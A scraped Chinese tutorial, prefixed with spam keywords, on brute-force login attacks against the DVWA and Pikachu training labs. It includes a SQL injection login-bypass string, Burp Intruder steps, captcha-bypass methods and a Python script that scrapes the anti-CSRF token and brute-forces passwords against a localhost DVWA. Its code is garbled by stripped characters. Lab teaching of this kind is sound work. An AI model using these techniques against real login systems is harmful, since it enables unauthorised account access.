黄骅市海边,seo技术培训班,网站设计亮点,做PPT不错的网站有哪些暴力破解漏洞 1.1 漏洞简介1.2 漏洞影响范围1.3 漏洞详解1.3.1DVWA(1)LOW(2)Medium(3)HIGH 1.3.2 Pikachu(1)验证码绕过(on server)(2)验证码绕过(on client) 1.3.3 识别验证码#xff08;绕过#xff09;1.3.4 密码加密的情况 1.1 漏洞简介
暴力破解是一攻击具手段#xf… 暴力破解漏洞 1.1 漏洞简介1.2 漏洞影响范围1.3 漏洞详解1.3.1DVWA(1)LOW(2)Medium(3)HIGH 1.3.2 Pikachu(1)验证码绕过(on server)(2)验证码绕过(on client) 1.3.3 识别验证码绕过1.3.4 密码加密的情况 1.1 漏洞简介
暴力破解是一攻击具手段在 web 攻击中一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录直到得到正确的结果。 为了提高效率暴力破解一般会使用带有字典的工具来进行自动化操作。 理论上来说大多数系统都是可以被暴力破解的只要攻击者有足够强大的计算能力和时间所以断定一个系统是否存在暴力破解漏洞其条件也不是绝对的。 我们说一个 web 应用系统存在暴力破解漏洞一般是指该 web 应用系统没有采用或者采用了比较弱的认证安全策略导致其被暴力破解的可能性变的比较高。 这里的认证安全策略, 包括 1.是否要求用户设置复杂的密码 2.是否每次认证都使用安全的验证码或者手机 otp 3.是否对尝试登录的行为进行判断和限制如连续 5 次错误登录进行账号锁定或 IP 地址锁定等 4.是否采用了双因素认证。
1.2 漏洞影响范围
暴力破解漏洞是指攻击者通过尝试大量可能的密码、密钥或凭证来获得未经授权的访问权限。这种漏洞可能会影响各种系统和应用程序包括网络服务器、数据库、操作系统和应用程序。
暴力破解漏洞的影响范围取决于受影响系统的安全性和防护措施。如果系统没有实施强大的密码策略、账户锁定机制或其他安全措施那么暴力破解攻击可能会导致未经授权的访问、信息泄露、数据损坏或其他安全问题。
1.3 漏洞详解
1.3.1DVWA
(1)LOW
1方法一 输入用户名密码抓包 发送给重发器查看 发至测试器,设置进行爆破 点击 clear 去掉全部选中需要爆破的点击 add添加需要爆破的字段 点击有效载荷选择字典可选择bp自带的或者载入自己的字典 选择攻击结果 清除不匹配的提示添加时间报错页面或者正常返回页面的提示 开始爆破 2方法二 查看源码 只要传入参数为真即可所以我们考虑进行 sql 注入admin’ or ‘1’1
(2)Medium isset() 函数用于检测变量是否已设置并且非 NULL。返回 TRUE。is_object() 函数用于检测变量是否是一个对象mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。 由于 mysqli_real_escape_string()对字符串进行了转义所以 sql 注入将不能运用所以直接用方法 1 burpsuite 爆破只不过时间长了点而已。因为试一次密码要过滤 2 秒才能试下一个
(3)HIGH stripslashes(string) 去除掉 string 字符的反斜杠 mysqli_real_escape_string(string,connection)函数会对字符串 string 中的特殊符号\x00\n\r\‘“\x1a进行转义。 使用了 stripslashes 函数和 mysqli_real_esacpe_string 来抵御 SQL 注入和 XSS 的攻击 代码增加了 token 机制 由于使用了 Anti-CSRF token每次服务器返回的登陆页面中都会包含一个随机的 user_token 的值用户每次登录时都要将 user_token 一起提交。服务器收到请求后会优先做 token 的检查再进行 sql 查询。所以我们无法通过 burpsuite 爆破出结果所以先进行抓包。 python 进行爆破
from bs4 import BeautifulSoup
import requestsheader{User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,imgs/image/avif,imgs/image/webp,*/*;q0.8,Accept-Language:zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding:gzip, deflate,Connection: close,Referer:http://127.0.0.1:81/dvwa/vulnerabilities/brute/,Cookie: securityhigh; PHPSESSIDh0t00163l0ktcpsdfitm24nhsj,Upgrade-Insecure-Requests: 1}
requrl http://127.0.0.1:81/dvwa/vulnerabilities/brute/def get_token(requrl,header):responserequests.get(urlrequrl,headersheader)print(response.status_code,len(response.content))soupBeautifulSoup(response.text,lxml)formsoup.select(form)[0]inputform.select(input[typehidden])#获取用户的tokenuser_token input[0][value]# print(user_token)return user_tokenuser_tokenget_token(requrl,header)
i0
for line in open(./pass_dic.txt):# http://127.0.0.1:81/dvwa/vulnerabilities/brute/?usernameadminpasswordpasswordLoginLoginuser_token195c56bdfe59283bbf3baacee15ada60#password line.strip()url fhttp://127.0.0.1:81/dvwa/vulnerabilities/brute/?usernameadminpassword{password}LoginLoginuser_token{user_token}ii1# print(i, admin, line.strip(), end )print(f{i}--admin:admin,password:{password})user_token get_token(url, header)if(i20):break
1.3.2 Pikachu
(1)验证码绕过(on server) 将 bp 抓到的数据表发送给 repeater删除验证码、输入错误验证码查看返回的结果 刷新页面记住验证码然后修改数据包中的验证码账号密码不变显示用户名或密码存在 验证码不变修改用户名或密码查看返回结果显示用户名或密码不正确说名验证码是可以重复利用的没有过期时间 将数据包发送给 Intruder 进行爆破
(2)验证码绕过(on client) 通过查看源码发现验证码是前端生产的 将 bp 抓到的数据表发送给 repeater 删掉验证码再次发送没有提示要输入验证码则说明此验证码对登录无效 将数据包发送给 Intruder 进行爆破
1.3.3 识别验证码绕过
待写…
1.3.4 密码加密的情况
待写…